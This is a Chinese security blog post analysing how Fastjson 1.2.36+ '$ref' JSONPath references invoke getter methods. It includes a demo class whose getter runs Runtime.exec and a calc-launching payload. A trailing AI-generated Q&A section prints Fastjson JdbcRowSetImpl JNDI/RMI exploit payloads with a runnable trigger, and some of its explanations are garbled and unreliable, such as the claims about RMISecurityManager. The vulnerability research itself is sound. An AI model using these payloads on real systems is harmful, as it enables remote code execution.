[Java安全]Fastjson>=1.2.36$ref引用可触发get方法分析

写在前面

平时我们在处理fastjson反序列化的时候,如果我们想要执行属性的get方法,而如果只有JSON.parse怎么办
我们知道JSON.parse可以套一层parseObject实现对get方法的调用,但说这个也没有必要继续本篇的介绍了,这里介绍另一种,废话不多说开始分析

JSONPath语法

看文档https://goessner.net/articles/JsonPath/,重点关注下这个
在这里插入图片描述

利用演示

人比较不老实,喜欢骚东西,这里执行下命令

public class Test {
    private String cmd;

    public String getCmd() throws IOException {
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }
}

触发

    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"com.yyds.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
        Object o = JSON.parse(payload);
    }

最爱的计算器
在这里插入图片描述

$ref引用触发get方法分析

简简单单引入依赖

<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.36</version>
</dependency>

老规矩拉到底,看看调用栈再分析
在这里插入图片描述
跟进handleResovleTask函数
在这里插入图片描述
获取$ref在这里插入图片描述
至于如果你问在哪里设置的在DefaultJSONParser#parse()
在这里插入图片描述

ok,不说废话,继续看下去,满足条件跟进
在这里插入图片描述
这里面没有返回null
在这里插入图片描述
接下来重点来了,我们看看JSONPath.eval函数干了什么
在这里插入图片描述
跟进compile
在这里插入图片描述

根据path生成并返回一个JavaPath对象
在这里插入图片描述
继续看看eval
在这里插入图片描述
这里有一个init函数执行
在这里插入图片描述
我们重点关注这个explain函数,把$refvalue解析成Segment,这个Segment是定义在JSONPath类的一个接口,具体看他的过程
在这里插入图片描述
这里初始化长度是8很好奇吗在这里插入图片描述
因为实现segment接口的类只有八个

在这里插入图片描述
ok,继续看看这个readSegement,获取.后面的值在这里插入图片描述
这里通过readName获取到cmd
这里
内部实现靠循环追加到StringBuilder后面
在这里插入图片描述
后面通过浅拷贝赋值返回在这里插入图片描述
接下来按顺序执行前面explain生成的Segment array

在这里插入图片描述
跟进JSONPath.getPropertyValue
在这里插入图片描述
继续跟进
在这里插入图片描述
跟进

在这里插入图片描述
后面就是用反射调用get方法了
在这里插入图片描述
在这里插入图片描述
分析完毕

解释为什么1.2.36前的版本不行

我们知道关键在于JSONPath.eval方法的调用
我们来对比一下,前为1.2.36版本,后为1.2.35版本
在这里插入图片描述

在这里插入图片描述
限制了refValue的值不能为null,并且必须是JSONObject对象,那就结束了

  • 7
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: 很抱歉,我是一名语言模型AI,无法进行复现操作。但是,我可以告诉您,fastjson是一种Java语言的JSON解析库,1.2.70是其一个版本号。在该版本中,存在一些安全漏洞,如反序列化漏洞等。如果您需要进行复现操作,建议您参考相关的安全研究资料和工具。 ### 回答2: Fastjson是一款流行的Java JSON解析库,由于其解析速度快且简单易用,被广泛应用于各种Java开发场景中。然而,Fastjson在一些情况下存在安全漏洞,其中比较严重的是反序列化漏洞,攻击者可以利用该漏洞执行任意代码,造成安全风险。 Fastjson漏洞复现需要以下步骤: 1. 下载Fastjson 1.2.70版本并导入到Java项目中。 2. 构造payload,该payload将会触发Fastjson反序列化漏洞。下面是一段简单的payload: ``` {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} ``` 该payload使用了Java的反序列化机制,通过rmi协议获取远程代码执行权限。 3. 创建一个接受JSON格式参数的Java类,并使用Fastjson进行反序列化操作。以下是一段简单的Java代码: ``` import com.alibaba.fastjson.JSON; public class FastjsonTest { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}"; JSON.parse(payload); } } ``` 4. 运行上述代码即可触发Fastjson漏洞,攻击者将可以获取到远程代码执行权限。 为了避免Fastjson漏洞带来的安全风险,建议开发者使用最新的Fastjson版本,并尽可能避免反序列化来自不可信源的JSON数据。此外,开发者还应该加强代码审计和安全测试,及时发现和修复潜在的安全漏洞。 ### 回答3: Fastjson是一个Java的JSON处理器,它具有高效的性能和强大的功能,广泛应用于Java应用程序的开发中。但是,Fastjson也存在一些漏洞,其中一个比较危险的是1.2.70版本的反序列化漏洞。 这个漏洞可以允许攻击者远程执行任意代码,导致系统崩溃或数据泄露等严重后果。在这个漏洞被发现后,Fastjson官方已经发布了修复版本,因此应用程序应尽快升级到最新版本以避免潜在的安全风险。 要复现这个漏洞,可以使用已知的payload,或者自己编写一个触发漏洞的Java代码。以利用Fastjson漏洞的一种常见方式为例,payload如下: {"@type":"java.lang.AutoCloseable", "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:8080/Object"} 这个payload的作用是在攻击者的机器上启动一个RMI服务,并将Java类的字节码发送到受害机器上进行反序列化。通过精心构造的字节码,攻击者可以执行任意代码。 为了让这个payload工作,需要在攻击者的机器上启动一个RMI服务,以便Fastjson可以连接到它并获取Java类的字节码。可以使用RMI密钥生成器(RMISecurityManager)来保护这个服务,以防止未授权的访问。 当Fastjson试图将这个payload反序列化时,就会执行其中包含的恶意代码,并开启RMI服务,从而导致系统受到攻击。为了避免这种情况发生,开发人员应时刻关注Fastjson的更新和修补程序,并尽可能使用最新版本的Fastjson来保护应用程序的安全。同时,建议在应用程序中实施最佳安全实践,例如限制用户输入,防止SQL注入和跨站点脚本攻击等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4tacker

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值